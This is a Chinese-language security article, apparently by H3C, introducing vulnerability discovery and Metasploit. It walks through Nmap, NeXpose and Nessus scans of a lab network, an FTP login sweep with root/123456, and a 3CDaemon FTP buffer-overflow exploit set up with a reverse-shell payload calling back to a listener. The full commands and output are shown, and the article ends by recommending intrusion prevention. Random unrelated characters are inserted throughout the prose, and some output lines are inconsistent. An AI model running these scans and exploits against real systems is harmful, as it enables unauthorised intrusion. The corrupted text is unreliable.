一 漏洞及漏洞發(fā)掘方法
漏洞开呐,是指在硬件杜耙、軟件搜骡、協(xié)議實(shí)現(xiàn)或系統(tǒng)安全策略上存在缺陷,攻擊者能夠在未授權(quán)的情況下對(duì)系統(tǒng)進(jìn)行訪問(wèn)或破壞佑女。它會(huì)成為入侵者侵入系統(tǒng)和植入惡意軟件的入口记靡,影響系統(tǒng)用戶的切身利益。漏洞與目標(biāo)系統(tǒng)的操作系統(tǒng)版本珊豹、軟件版本以及服務(wù)設(shè)置密切相關(guān)簸呈。研究漏洞必須要了解當(dāng)前計(jì)算機(jī)系統(tǒng)及其安全問(wèn)題的最新發(fā)展動(dòng)態(tài)。常見(jiàn)的漏洞包括緩沖區(qū)溢出漏洞店茶、跨站腳本漏洞(XSS)蜕便、SQL注入漏洞、數(shù)據(jù)庫(kù)漏洞以及WEB應(yīng)用漏洞等贩幻。
常見(jiàn)的漏洞發(fā)掘方法分為以下幾種轿腺。
m? 黑盒攻擊(Fuzzing):即通過(guò)注入數(shù)據(jù)進(jìn)行自動(dòng)化測(cè)試。
m? 獲取攻擊對(duì)象的源代碼進(jìn)行審計(jì):網(wǎng)絡(luò)上有很多源代碼審計(jì)工具可供使用丛楚,如Fortify族壳。
m? 反匯編審計(jì):如果無(wú)法獲取到源代碼,可以基于匯編碼進(jìn)行反匯編審計(jì)趣些。IDA是一款常用的反匯編軟件仿荆。
m? 動(dòng)態(tài)跟蹤分析:通過(guò)記錄程序在不同條件下執(zhí)行操作(如文件操作),分析這些操作序列是否存在問(wèn)題。
m? 補(bǔ)丁比較:廠商軟件的問(wèn)題通常都會(huì)在補(bǔ)丁中解決拢操,如微軟的Windows操作系統(tǒng)會(huì)不定期發(fā)布補(bǔ)丁程序锦亦,通過(guò)對(duì)比補(bǔ)丁前后文件的源碼(或反匯編碼)就能了解漏洞的具體細(xì)節(jié)。
目前令境,針對(duì)常用的漏洞發(fā)掘方法已經(jīng)開(kāi)發(fā)出了很多漏洞掃描工具杠园。漏洞掃描工具是一種能在計(jì)算機(jī)、信息系統(tǒng)舔庶、網(wǎng)絡(luò)及應(yīng)用軟件中查找安全弱點(diǎn)的程序抛蚁。通過(guò)對(duì)目標(biāo)系統(tǒng)進(jìn)行探測(cè),向目標(biāo)系統(tǒng)發(fā)送數(shù)據(jù)惕橙,并將反饋結(jié)果與漏洞特征庫(kù)進(jìn)行匹配瞧甩,分析出目標(biāo)系統(tǒng)上存在的安全漏洞。比較常用的漏洞掃描工具有Metasploit弥鹦、Nmap亲配、NeXpose、Nessus惶凝、Xscan等。
二?Metasploit Framework工具簡(jiǎn)介
Metasploit Framework是一個(gè)強(qiáng)大的開(kāi)源平臺(tái)犬钢,為滲透測(cè)試苍鲜、shellcode 編寫(xiě)和漏洞研究提供了一個(gè)可靠環(huán)境。它集成了各種常見(jiàn)的溢出漏洞和shellcode 玷犹,并且不斷更新混滔。當(dāng)前版本收集了上千個(gè)實(shí)用的溢出攻擊程序及一些輔助工具,操作簡(jiǎn)單歹颓,易用性好坯屿。當(dāng)然,它不只是一個(gè)簡(jiǎn)單的收集工具巍扛,還提供了所有的類(lèi)和方法领跛,以便開(kāi)發(fā)人員使用這些代碼方便快速的進(jìn)行二次開(kāi)發(fā)。漏洞掃描只是Metasploit Framewotk眾多功能中的一種撤奸,本文只介紹它的漏洞掃描功能吠昭。
Metasploit Framework的總體架構(gòu)如圖1所示,它包含Exploit胧瓜、Auxiliary矢棚、Payload等多個(gè)模塊:
m? Exploit是攻擊模塊,基本上目前所有的操作系統(tǒng)在Metasploit Framework上均有對(duì)應(yīng)的攻擊模塊府喳;
m? Auxiliary是輔助模塊蒲肋,用途非常廣泛,它可以作為掃描器、拒絕服務(wù)攻擊工具兜粘、Fuzz測(cè)試器申窘,以及其他類(lèi)型的工具;
m? Payload是在目標(biāo)系統(tǒng)被攻陷之后執(zhí)行的代碼妹沙,如添加用戶賬號(hào)偶洋,獲取shell交互權(quán)限等;
圖1?Metasploit Framework整體架構(gòu)
三?Metasploit的幾種漏洞掃描組件
1??????Nmap
Nmap適用于Winodws距糖、Linux玄窝、Mac等操作系統(tǒng)。它用于主機(jī)發(fā)現(xiàn)悍引、端口發(fā)現(xiàn)或枚舉恩脂、服務(wù)發(fā)現(xiàn),檢測(cè)操作系統(tǒng)趣斤、硬件地址俩块、軟件版本以及脆弱性的漏洞。Metasploit Framework平臺(tái)集成了Nmap組件浓领。通常在對(duì)目標(biāo)系統(tǒng)發(fā)起攻擊之前需要進(jìn)行一些必要的信息收集玉凯,如獲取網(wǎng)絡(luò)中的活動(dòng)主機(jī)、主機(jī)開(kāi)放的端口等联贩。
Nmap掃描存活主機(jī)及主機(jī)運(yùn)行的服務(wù):
nmap -P0 192.168.20.1-10漫仆,掃描結(jié)果顯示網(wǎng)絡(luò)中活動(dòng)的主機(jī)有7臺(tái),且列舉出了每臺(tái)主機(jī)運(yùn)行的服務(wù)及主機(jī)MAC地址泪幌。
msf > nmap -P0 192.168.20.1-10
[*] exec: nmap -P0 192.168.20.1-10
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????
Nmap scan report for 192.168.20.1
Host is up (0.00014s latency).
Not shown: 995 closed ports
PORT????? STATE??? SERVICE
23/tcp??? open???? telnet
80/tcp??? open???? http
MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)
……
Nmap scan report for 192.168.20.4
Host is up (0.0098s latency).
Not shown: 986 closed ports
PORT????? STATE SERVICE
21/tcp??? open? ftp
80/tcp??? open? http
135/tcp?? open? msrpc
443/tcp?? open? https
445/tcp?? open? microsoft-ds
902/tcp?? open? iss-realsecure
912/tcp?? open? apex-mesh
3389/tcp? open? ms-wbt-server
MAC Address: 68:05:CA:0E:BF:59 (Intel)
……
Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds
msf >
Nmap掃描操作系統(tǒng)和服務(wù)軟件版本信息:
msf > nmap -A -T4 192.168.20.4盲厌,Nmap顯示的掃描結(jié)果相當(dāng)詳細(xì),列出了目標(biāo)服務(wù)器192.168.20.4上運(yùn)行的操作系統(tǒng)是微軟的Windows 7或者Windows 2008祸泪,提供FTP服務(wù)的軟件是3Com 3CDaemon FTP Server吗浩,版本號(hào)為2.0,并且使用匿名賬號(hào)anonymous可以登陸成功没隘。
msf > nmap -A -T4 192.168.20.4
[*] exec: nmap -A -T4 192.168.20.4
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????
Nmap scan report for 192.168.20.4
Host is up (0.0074s latency).
Not shown: 986 closed ports
PORT????? STATE SERVICE???????? VERSION
21/tcp??? open? ftp???????????? 3Com 3CDaemon ftpd 2.0
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
80/tcp??? open? http??????????? HttpFileServer httpd 1.5g
|_http-title: JAX SERVER- /
135/tcp?? open? msrpc?????????? Microsoft Windows RPC
443/tcp?? open? ssl/http??????? VMware VirtualCenter Web service
445/tcp?? open? netbios-ssn
902/tcp?? open? ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp?? open? vmware-auth???? VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp? open? ms-wbt-server?? Microsoft Terminal Service
MAC Address: 68:05:CA:0E:BF:59 (Intel)
Device type: general purpose
Running: Microsoft Windows 7|2008
TRACEROUTE
HOP RTT???? ADDRESS
1?? 7.38 ms 192.168.20.4
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds
msf >
2??????NeXpose
NeXpose通過(guò)掃描網(wǎng)絡(luò)懂扼,可以查找出網(wǎng)絡(luò)上正在運(yùn)行的設(shè)備,并識(shí)別出設(shè)備的操作系統(tǒng)和應(yīng)用程序的漏洞升略,并對(duì)掃描出的數(shù)據(jù)進(jìn)行分析和處理微王,生成漏洞掃描報(bào)告。
首先品嚣,如圖2所示炕倘,在Metasploit Framework中加載NeXpose插件:
圖2?加載NeX
pose插件
使用nexpose_scan命令對(duì)目標(biāo)主機(jī)進(jìn)行漏洞掃描:
msf > nexpose_scan 192.168.20.4
[*]Scanning 1 address with template pentest-audit in sets of 32
[*]Completed the scan of 1 address
msf >
查看漏洞掃描結(jié)果,掃描程序發(fā)現(xiàn)了7個(gè)漏洞:
msf > db_hosts –c address
Hosts
=====
address ??????Svcs?????? Vulns??????? Workspace
-------?????? ----?????? -----??????? ---------
192.168.20.4? 8????????? 7???????????? default
msf>
輸入db_vulns可以顯示已發(fā)現(xiàn)漏洞的詳細(xì)情況:
msf > db_vulns
[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299
……
For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating
msf >
3??????Nessus
Nessus是當(dāng)前使用最廣泛的漏洞掃描工具之一翰撑。Nessus采用client/sever模式罩旋,服務(wù)器端負(fù)責(zé)進(jìn)行安全檢查啊央,客戶端用來(lái)配置管理服務(wù)器端。在服務(wù)端還采用了plug-in的體系涨醋,允許用戶加入執(zhí)行特定功能的插件瓜饥,這插件可以進(jìn)行更快速和更復(fù)雜的安全檢查。
如圖3所示浴骂,在Metasploit Framework中加載Nessus插件:
圖3????加載Nessus插件
創(chuàng)建掃描任務(wù):
msf > nessus_scan_new 2 test_scan 192.168.20.4
[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4
[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb
msf>
查看掃描運(yùn)行狀態(tài)乓土,“No Scans Running”表示掃描已完成:
msf > db_hosts –c address
[*] No Scans Running
msf>
查看掃描結(jié)果,掃描程序發(fā)現(xiàn)345個(gè)漏洞:
msf > db_hosts –c address,svcs,vulns
Hosts
=====
address ??????Svcs?????? Vulns
-------?????? ----?????? -----
192.168.20.4? 18???????? 345
msf>
從掃描結(jié)果可以看出溯警,對(duì)同一個(gè)目標(biāo)主機(jī)進(jìn)行掃描趣苏,Nessus掃描出的漏洞數(shù)量與NeXpose掃描出的數(shù)量有明顯的差異。通過(guò)對(duì)不同工具的掃描結(jié)果進(jìn)行對(duì)比分析梯轻,對(duì)了解掃描工具本身食磕,和更精確地確定目標(biāo)系統(tǒng)存在的漏洞都是非常有幫助的。
4??????Metasploit的專(zhuān)用FTP掃描器
除了集成的掃描工具喳挑,Metasploit自帶的輔助模塊彬伦,可以針對(duì)網(wǎng)絡(luò)中特定的漏洞進(jìn)行掃描。下面以FTP掃描為例伊诵,介紹Metasploit自帶掃描器的使用方法单绑。
選擇ftp_login模塊,掃描網(wǎng)段192.168.20.1-10中能使用固定用戶名和密碼root/123456登陸主機(jī):
msf > use auxiliary/scanner/ftp/ftp_login
msf? auxiliary(ftp_login) > set USERNAME root
USERNAME => root
msf? auxiliary(ftp_login) > set PASSWORD 123456
PASSWORD => 123456
msf? auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10
RHOSTS => 192.168.20.1-10
msf? auxiliary(ftp_login) > run
[*] 192.168.20.1:21 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.20.1:21...
……
[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'
[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.1:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.4:21...
[*] Connected to target FTP server.
[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.4:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.6:21...
[*] Connected to target FTP server.
[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.6:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.9:21...
[*] Connected to target FTP server.
[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.9:21 - User 'root' has READ/WRITE access
[*] Scanned 10 of 10 hosts (100% complete)
[*] Auxiliary module execution completed
查看輸出結(jié)果曹宴,10個(gè)IP中有4臺(tái)FTP Server均能使用root/123456賬號(hào)登陸询张,并且含有讀寫(xiě)權(quán)限。通常在公司內(nèi)網(wǎng)里浙炼,很多人習(xí)慣使用簡(jiǎn)單的賬號(hào),沒(méi)有足夠的安全意識(shí)唯袄,當(dāng)攻擊者成功入侵內(nèi)網(wǎng)后弯屈,這些工作站將非常危險(xiǎn)。
四Metasploit的一個(gè)攻擊實(shí)例
漏洞掃描僅僅是Metasploit Framework強(qiáng)大功能的冰山一角恋拷,下面簡(jiǎn)單說(shuō)明一下Metasploit執(zhí)行一次攻擊測(cè)試的方法资厉。利用上面Nmap的掃描結(jié)果,選取192.168.20.4上所運(yùn)行的3Com 3CDaemon FTP Server為攻擊目標(biāo)蔬顾。通過(guò)前面的掃描可以得到目標(biāo)主機(jī)運(yùn)行的操作系統(tǒng)及應(yīng)用程序版本的詳細(xì)信息宴偿,如圖4所示,在Metasploit Framework里搜索針對(duì)3CDaemon的攻擊腳本:
圖4??搜索針對(duì)3CDaemon的攻擊腳本
use命令進(jìn)入搜索到的exploit:
msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf? exploit(3cdaemon_ftp_user) >
Set RHOST命令設(shè)置攻擊目標(biāo)機(jī)的IP地址:
msf? exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4
RHOST => 192.168.20.4
Set target命令設(shè)置目標(biāo)機(jī)的操作系統(tǒng)類(lèi)型:
msf? exploit(3cdaemon_ftp_user) > set target 4
target => 4
設(shè)置完成之后诀豁,?show options顯示設(shè)置好的參數(shù)信息:
msf? exploit(3cdaemon_ftp_user) > show options
Module options (exploit/windows/ftp/3cdaemon_ftp_user):
Name???? Current Setting????? Required? Description
----???? ---------------????? --------? -----------
FTPPASS? mozilla@example.com? no??????? The password for the specified username
FTPUSER? anonymous??????????? ??no??????? The username to authenticate as
RHOST??? 192.168.20.4???????? ?yes?????? ?The target address
RPORT??? 21????????????????? ????yes????? ??The target port
Payload options (windows/shell_reverse_tcp):
Name????? Current Setting? Required? Description
----????? ---------------? --------? -----------
EXITFUNC? seh????????????? ??yes?????? Exit technique: seh, thread, process, none
LHOST???? 192.168.20.67?? ??yes?????? The listen address
LPORT???? 4444??????????? ????yes?????? The listen port
Exploit target:
Id? Name
--? ----
4?? Windows XP English SP3
輸入exploit命令窄刘,開(kāi)始攻擊:
msf? exploit(3cdaemon_ftp_user) > exploit
[*] Started reverse handler on 192.168.20.67:4444
[*] Trying target Windows XP English SP3...
msf? exploit(3cdaemon_ftp_user) >
如圖5所示查看目標(biāo)機(jī)3CDaemon FTP軟件顯示崩潰,攻擊成功舷胜!
圖5??3CDaemon FTP崩潰
分析抓包結(jié)果娩践,可以看出該FTP攻擊腳本是利用超長(zhǎng)用戶名(如圖6所示)導(dǎo)致FTP Server崩潰的。
圖6???抓包結(jié)果
五 結(jié)束語(yǔ)
避免黑客攻擊,部署專(zhuān)門(mén)的漏洞檢測(cè)防御系統(tǒng)是非常必要的翻伺。Metasploit提供了豐富的掃描功能材泄、攻擊腳本及二次開(kāi)發(fā)的平臺(tái),使網(wǎng)絡(luò)安全漏洞檢測(cè)變得相對(duì)容易吨岭。H3C的IPS(Intrusion Prevention System)采用系統(tǒng)的防御方法拉宗,結(jié)合智能的規(guī)則識(shí)別技術(shù)可以對(duì)各種漏洞攻擊進(jìn)行有效的防御。為應(yīng)對(duì)技術(shù)的更新辣辫,H3C攻防團(tuán)隊(duì)會(huì)主動(dòng)關(guān)注網(wǎng)絡(luò)上新的攻擊方式旦事,并將分析結(jié)果及時(shí)添加到IPS特征庫(kù)中供客戶升級(jí)使用。對(duì)于系統(tǒng)維護(hù)者來(lái)說(shuō)络它,積極主動(dòng)的查找漏洞并打上相應(yīng)補(bǔ)丁族檬,同時(shí)結(jié)合專(zhuān)業(yè)的防御設(shè)備進(jìn)行入侵防御,毫無(wú)疑問(wèn)是維護(hù)系統(tǒng)安全的最佳方法化戳。